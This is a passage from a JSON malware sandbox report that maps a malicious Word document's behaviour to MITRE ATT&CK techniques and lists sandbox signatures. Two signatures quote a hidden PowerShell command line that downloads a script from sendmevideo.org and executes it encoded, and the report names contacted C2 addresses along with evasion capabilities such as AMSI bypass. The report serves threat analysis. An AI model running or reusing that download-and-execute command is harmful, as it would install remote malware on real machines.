Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops temp files"},{"type":"malicious","value":"Downloads file using Powershell DownloadFile"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops XML files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Opens a handle to the specified local process"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Commandline contains PowerShell"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"Dynamic Data Exchange","attack_id":"T1559.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/002","identifiers":[{"type":"informative","value":"Uses Dynamic Data Exchange (DDE)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"suspicious","value":"Creates new processes"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses PowerShell with a Windows hidden command line parameter"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Found named pipe-like string used by malware"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Calls an API typically used to create a HTTP or FTP session"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$24","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sendmevideo.org\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"184.25.216.99:80\"\n \"92.122.154.57:80\"\n \"86.106.93.113:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$25","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F1D80000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at F0280000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00018095-00002172) was launched with new environment variables: \"WecVersionForRosebud.B7C=\"4\"\"\n Process \"powershell.exe\" (UID: 00018095-00002172) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"powershell.exe\" (UID: 00018095-00002172) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"powershell.exe\" (UID: 00018479-00001868) was launched with modified environment variables: \"PSModulePath\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"mspim_wnd32\"\n \"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"\n \"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"\n \"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a\" (UID: 00018095-00002172, Additional Context: \"System.Net.WebClient.DownlodString('http://sendmevideo.org/dh2025e/eee.txt');powershell;\"), Spawned process \"powershell.exe\" with commandline \"-enc\" (UID: 00018479-00001868)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"WINWORD.EXE\" is creating a new process (Name: \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\", Handle: 308)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"~$9fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc\" has type \"data\"\n \"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Tue Dec 26 01:07:27 2017 mtime=Tue Dec 26 01:07:27 2017 atime=Tue Dec 26 01:08:24 2017 length=51046 window=hide\"\n \"index.dat\" has type \"data\"\n \"~WRS{74FCDC3D-E044-44D4-A476-696CFF3E81E7}.tmp\" has type \"FoxPro FPT blocks size 0 next free block index 218103808 1st used item \"\\375\"\"\n \"~WRS{D34328B0-6DD3-4645-B9D5-59A0B82F7D28}.tmp\" has type \"FoxPro FPT blocks size 0 next free block index 218103808 1st used item \"\\375\"\"\n \"~$Normal.dotm\" has type \"data\"\n \"FZKL1J7EV45VT6FCHG5K.temp\" has type \"data\"\n \"2FQ1B4ASUREZJBR2GB7E.temp\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$27","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$28","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses powershell with an encoded commandline","description":"Process \"powershell.exe\" with commandline \"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a\" (UID: 00018095-00002172, Additional Context: \"System.Net.WebClient.DownlodString('http://sendmevideo.org/dh2025e/eee.txt');powershell;\")","origin":"Monitored Target","relevance":10,"id":"target-28","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"4/66 reputation engines marked \"http://sendmevideo.org\" as malicious (6% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)\n \"powershell.exe\" called \"OpenSCManager\" requesting access rights \"0X80000000L\"\n \"powershell.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"WINWORD.EXE\" called \"OpenService\" to access the \"OSPPSvc\" service\n \"powershell.exe\" called \"OpenService\" to access the \"RASMAN\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"powershell.exe\" called \"OpenService\" to access the \"rasman\" service\n \"powershell.exe\" called \"OpenService\" to access the \"RASMAN\" service\n \"powershell.exe\" called \"OpenService\" to access the \"WinHttpAutoProxySvc\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"WINWORD.EXE\" wrote 32 